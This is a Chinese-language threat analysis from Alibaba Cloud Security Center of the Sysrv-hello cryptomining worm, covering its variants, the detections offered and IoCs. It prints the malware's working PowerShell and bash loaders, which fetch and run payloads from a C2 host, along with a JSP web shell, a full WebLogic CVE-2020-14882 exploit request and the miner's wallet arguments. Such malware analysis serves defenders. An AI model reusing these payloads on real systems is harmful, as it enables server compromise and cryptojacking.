2020年12月初,阿里云云安全中心首次发现新型挖矿病毒Sysrv-hello并提供了防御和处理该病毒的解决方案。本文介绍Sysrv-hello病毒的相关信息、演变迭代过程,以及云安全中心针对该病毒提供的检测和防御能力。
背景信息
阿里云云安全中心,针对云上海量样本进行持续监控,对奇异样本进行自动捕获标定和分析。2020年12月初,发现一例具有持久化功能的样本,该样本与此前已知程序文件的特性存在较大差异,经过云安全中心专家团队分析,该样本为一款新型挖矿支持组件,且处在爆发初期。鉴于该样本的特征路径以及特征代码,暂时将其命名为Sysrv-hello。
该病毒样本具有以下特征:
- 多特性并存:该样本用于挖矿行动,兼具蠕虫、爆破、木马、后门等多种特性,其漏洞利用与爆破方式、功能集成性与以往已知样本不同。
- 非孤立样本:经过对该样本的特征分析与关联样本检索,发现该样本非孤立样本,而是一个在2020年12月初新投放,并在早期积极迭代变换进行挖矿活动的病毒样本。
- 跨平台传播性强:借助Golang语言,该家族跨越Linux与Windows平台,不断集成多种最新漏洞与应用的攻击方式,具备很强的传播性。
Sysrv-hello发展时间线
时间 | 事件 |
---|---|
2020年12月03日(13时15分) | 最早发现的Sysrv-hello病毒的0号Linux样本(MD5=ead2cf8ab7aef63706b40eb57d668d0a)在云上首次出现,影响大量用服务器。 |
2020年12月06日 | 捕获到该病毒家族1号变种族于2020年12月06日9时30分开始投放,面向Linux免杀(反杀毒技术),且投放量非常克制,当日共捕获到4例病毒样本,每个样本仅传播1~2台服务器。 |
2020年12月07日 | 该病毒样本首次由外部上传至VirusTotal。 |
2020年12月15日 | 发现该病毒样本2号Linux变种族的第一个样本在当日16时15分尝试投递至少量服务器,之后第二个样本在18时进行较大范围传播。 |
2020年12月16日(23时) | 首次发现该病毒样本的3号变种族,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面。3号变种族是该类型病毒到目前为止最活跃的族系。 |
2020年12月23日(20时) | VirusTotal所有商业杀毒引擎(共62款)均未上报该病毒。 |
Sysrv-hello病毒0号样本分析
- 静态逆向
最初捕获的0号样本(MD5=ead2cf8ab7aef63706b40eb57d668d0a)为Linux 64位程序,使用Golang语言开发并用UPX 3.94加壳,未做额外混淆,脱壳前后大小为4,634,788 Byte、8,687,768 Byte。
该病毒样本并未完全去除文件路径等元信息,该样本本地编译路径为/media/psf/AllFiles/Users/mac/go/src/hello/src,根据子目录,样本主要有如下五部分功能组件:- Scan模块
扫描器组件是该样本从main.main入口执行的最外层功能,由此再进行下一步调用其它功能。
- Gateway模块
Gateway模块由SYN扫描器调用,提供Linux网关探测能力。
- Nu模块
Nu模块为其它功能模块提供基础功能实现(network utility),包括最基础的字符串操作、端口探测、日志等。同时封装了Shell命令执行功能。
- Exp模块
Exp模块包含多个漏洞利用做横向移动的能力,在端口扫描之后执行。在该样本中,会尝试对MySQL、Tomcat、Weblogic的应用服务器进行探测,并触发RCE漏洞。
- Work模块
Work为直接控制挖矿的代码模块,持久化判断挖矿任务是否存活,释放并解压缩程序中内嵌的xmrig挖矿程序本体.gzip包。
- Scan模块
- 行为分析
该病毒样本主要按照以下步骤入侵服务器:
- 初始化和准备阶段。
- 样本运行时首先监听本地的52013端口,此端口作为互斥量,防止样本自身重复启动。
- 初始化端口扫描模块,包括逆向可见的SYN、TCP两种扫描方式。
- 将当前的扫描方式写入文件./flag.txt中。
- 样本运行时首先监听本地的52013端口,此端口作为互斥量,防止样本自身重复启动。
- 释放xmrig挖矿模块,并启动该模块。释放该模块的完整路径是 /tmp/network01。
- 启动参数
./tmp/network01 -B --donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux.
- 矿池地址
49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.linux
- 启动参数
- 随机生成IP地址,进行端口扫描。
会扫描MySQL、Tomcat、WebLogic服务,并自动进行漏洞利用和爆破。具体漏洞利用和爆破细节见下文。
- 如果获取到目标系统的Shell,会首先从http://185.239.XX.XX/下载脚本和xmr挖矿程序。
- 脚本http://185.239.XX.XX。
$cc = "http://185.239.XX.XX" $is64 = (([Array](Get-WmiObject -Query "select AddressWidth from Win32_Processor"))[0].AddressWidth -eq 64) $xmr = "$cc/xmr32.exe" if ($is64) { $xmr = "$cc/xmr64.exe" } (New-Object Net.WebClient).DownloadFile($xmr, "$env:TMP\network01.exe") if (!(Get-Process network01 -ErrorAction SilentlyContinue)) { Start-Process "$env:TMP\network01.exe" "--donate-level 1 -o pool.minexmr.com:5555 -u 49dnvYkWkZNPrDj3KF8fR1BHLBfiVArU6Hu61N9gtrZWgbRptntwht5JUrXX1ZeofwPwC6fXNxPZfGjNEChXttwWE3WGURa.w" -windowstyle hidden } (New-Object Net.WebClient).DownloadFile("$cc/sysrv.exe", "$env:TMP\sysrv.exe") Start-Process "$env:TMP\sysrv.exe" -windowstyle hidden
- 脚本http://185.239.XX.XX/ldr.sh。
#!/bin/bash cc='http://185.239.XX.XX' get() { curl -fsSL "$1" > "$2" || wget -q -O - "$1" > "$2" || php -r "file_put_contents('$2', file_get_contents('$1'));" chmod +x "$2" } cd /tmp || cd /var/run || cd /mnt || cd /root || cd / # kill hich cpu usage proc ps axf -o "pid %cpu" | awk '{if($2>=50.0) print $1}' | while read pid; do cat /proc/$pid/cmdline | grep -a -E "sysrv|network01" if [ $? -ne 0 ]; then kill -9 $pid fi done ps -fe | grep network01 | grep -v grep if [ $? -ne 0 ]; then echo "no miner runing" if [ $(getconf LONG_BIT) = '64' ]; then echo "downloading xmr64..." get "$cc/xmr64" network01 else echo "downloading xmr32..." get "$cc/xmr32" network01 fi nohup ./network01 1>/dev/null 2>&1 & fi ps -fe | grep sysrv | grep -v grep if [ $? -ne 0 ]; then echo "no sysrv runing" get "$cc/sysrv" sysrv nohup ./sysrv 1>/dev/null 2>&1 & fi
同时,会使用自带的弱口令字典,进行爆破密码操作。
- 脚本http://185.239.XX.XX。
- 初始化和准备阶段。
- 目标服务器漏洞利用与爆破方式
通过弱口令登录成功后,首先判断操作系统版本以及平台,最后尝试写入32位或者64位的udf来执行任意命令。以下内容介绍不同平台的爆破方式:
- MySQL尝试爆破MySQL数据库的用户名和密码。
- Tomcat尝试爆破Tomcat的管理页面的用户名和密码。如果爆破成功,就尝试向服务器上传War包进行项目部署来GetShell。War包本质上是一个压缩包,压缩包的内容如下图所示。解压出来存在一个1.jsp文件,内容如下:
<%@ page import="java.io.*" %> <% try { String w = request.getParameter("win"); String l = request.getParameter("linux"); String[] cw = {"cmd", "/c", "powershell iex(New-Object Net.WebClient).DownloadString('" + w + "')"}; String[] cl = {"bash", "-c", "(curl -fsSL " + l + " || wget -q -O - " + l + ") | bash"}; if (System.getProperty("os.name").toLowerCase().contains("win")) { Runtime.getRuntime().exec(cw); } else { Runtime.getRuntime().exec(cl); } } catch (IOException e) {} // remove self File f = new File(request.getSession().getServletContext().getRealPath("/")); new File(f.getParent() + File.separator + f.getName() + ".war").delete(); out.print("1"); %>
- Weblogic利用cve-2020-14882漏洞进行getshell,发送的Payload如下图所示。
GET /console/css/%%25%%32%%65%%25%%32%%65%%25%%32%%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%%20currentThread=(weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter%%20adapter=currentThread.getCurrentWork();java.lang.reflect.Field%%20field=adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object%%20obj=field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%%20req=(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String%%20cmd=req.getHeader("cmd");String[]%%20cmds=System.getProperty("os.name").toLowerCase().contains("win")?new%%20String[]{"cmd.exe","/c",req.getHeader("win")}:new%%20String[]{"/bin/sh","-c",req.getHeader("linux")};if(cmd!=null){String%%20result=new%%20java.util.Scanner(new%%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%%5C%%5CA").next();weblogic.servlet.internal.ServletResponseImpl%%20res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);work.getServletOutputStream().writeStream(new%%20weblogic.xml.util.StringInputStream(result));work.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.0 Host: %s:%d User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:82.0) Gecko/20100101 Firefox/82.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: close cmd: ls linux: ( (curl -fsSL %s || wget -q -O - %s) | bash& ) win: start powershell iex(New-Object Net.WebClient).DownloadString('%s')
说明 Payload兼容Linux和Windows操作系统。
- MySQL
家族演进跟踪
在发现该家族之后,云安全中心基于云上全量样本的相似度检索,发现了前述0号样本的关联相似样本,证明此次并非一个试水的投放或已知样本的技术演进。根据样本技术特性,可以将该样本的发展标注到4个主要节点,证明该挖矿家族的发展正处于其初期快速扩张和迭代的阶段。
- 0号样本
即上文分析的病毒样本。该样本最早在2020年12月03日在云上被发现。
几乎同时,云安全中心在云上捕获了该样本的Windows版本(MD5=030231d96234f06ae09ca18d621241e5)。该样本与Linux样本基本同源,仅适配Windows做了若干必要的调整,包括:去除挖矿程序的释放控制功能(仅限Linux版本)、扫描器与Payload的载入方式等。
- 1号变种族
此类样本最初于2020年12月06日9时30分开始投放,仅在2020年12月06日~2020年12月07日间进行投放,且投放量非常克制,当前共捕获到4例样本,每个样本仅传播到1~2台服务器上。
该变种族的免杀方式为,将原始Sysrv样本加壳后,作为数据嵌入在另外的loader程序中,释放后载入生效。嵌入的样本脱壳后,MD5为750644690e51db9f695b542b463164b9。除此以外,样本本体并未发现明显差异。此家族仅为0号样本在Linux平台的特殊免杀变种,在Windows平台的同源更新版本样本,与0号Windows样本没有显著差异。
- 2号变种族
此类样本在2020年12月15日发现存在投递行为,其中Linux家族第一个样本在该日16时15分投递到少量服务器试水,之后第二个样本在18时较大范围传播。此类Linux样本相比0号样本,去掉了内嵌压缩挖矿程序释放执行的逻辑,从而显著减小样本体积到2 MB以内;同时对功能实现代码做了少量改写,包括Tomcat的爆破方式等。
该变种族的Windows版本变更与Linux一致。因为Linux版本完全去除了自带嵌入的挖矿程序逻辑,Windows版本也同步去除了.gzip解压缩包的引入(此前实际无作用,仅为同一套代码的引入),文件体积有所缩小。
- 3号变种族
该变种族最早在2020年12月16日23点首次发现,之后至少到19日仍持续有子变种出现,且持续有活跃的投递与传播,所有样本均有一定的传播影响面,是该类型到目前为止最活跃的族系。
在蠕虫功能方面,从此类变种开始新增了对Jenkins的探测与定向爆破功能。除此以外,该类家族基本保持与2号的继承性,但每个样本均在功能实现的主要代码中,引入了少量局部的代码重构,从而降低关键代码的整体相似度,疑似用于规避样本模糊匹配的分析方法。
防御与处理
Sysrv-hello目前还处在扩散初期,尽管迭代速度较快、不断集成最新的攻击方式,但传播面有限,初期的检测防御对于此类恶意行为防御效果更加显著。
对于检测到的部分告警类型,云安全中心精准防御功能会自动拦截并处理相应告警。有部分告警仍需要您自行手动处理。以下是云安全中心检测出的和此类病毒相关的告警信息:
- 对经由MySQL投递Ldr脚本,云安全中心可检测到进程的异常操作指令,精准防御功能可拦截异常进程行为。
(检测后需您手动处理)云安全中心检测到的和Sysrvhello病毒相关的异常操作指令。
(检测后已由云安全中心自动为您拦截)云安全中心检测到的数据库服务异常命令执行。
- (检测后需您手动处理)对Tomcat进入的方式,云安全中心可检测到Java执行的异常指令。
- (检测后需您手动处理)对于Sysrv程序的访问中控IP的行为,云安全中心支持进行实时检测。
- (检测后需您手动处理)对于Ldr恶意脚本,云安全中心支持进行实时检测和告警。
- (检测后已由云安全中心自动为您拦截)对于Sysrv横向移动的动作,检测到对外发起登录扫描。
- (检测后需您手动处理)对Sysrv程序本体,按照后门程序、蠕虫病毒类别识别告警,对已开启防御的服务器可实现精准防御。
- (检测后已由云安全中心自动为您拦截)对挖矿程序本体,始终具有检测能力,对已开启防御的服务器,可直接进行精准防御。
- (检测后需您手动处理)对挖矿程序的矿池通信网络行为,支持展示对应的告警和关联信息。
- (检测后需您手动处理)对Sysrv进程残留的持久化方式,进行定时扫描检测。
IoC
以下是Sysrv-hello病毒的威胁情报信息。
ead2cf8ab7aef63706b40eb57d668d0a
a45c5b97068a709c92aa2fb73cc39d29
bb15e4c273044a5e714acec991dde4b4
4736f80b88c60d2b650dd7273b437d0f
e7b1ee6578b88e1c2650982d35a0bbfc
e9317adace503cefa02007579eb1c621
ec773867cf1cc0479e57eae020f6f399
f4c90b41126fc17848bd0d131288bd36
58a05154e0a702843b8304ccfd79ba2f
7f9abe219ae8dd4e338bd2a9fcaf2e05
301a0a58dd98ecbbe12c6acbd0c7bbdc
030231d96234f06ae09ca18d621241e
4b22a05d547d0345f91ba9f5fb1f012c
0af416fb7a7e164ddd90da14d116c07e
bbe3e53b19548d093c8405847828a64d
cae2b58fc73551901a70465fa46ea23c
d8816891b21d83c318818ebc32e9609d
642d73c85e6e79720a5ae7b82fc427c5
http://185[.]239[.]242[.]71/ldr.sh
http://185[.]239[.]242[.]71/ldr.ps1
http://185[.]239[.]242[.]71/sysrv.exe
http://185[.]239[.]242[.]71/sysrv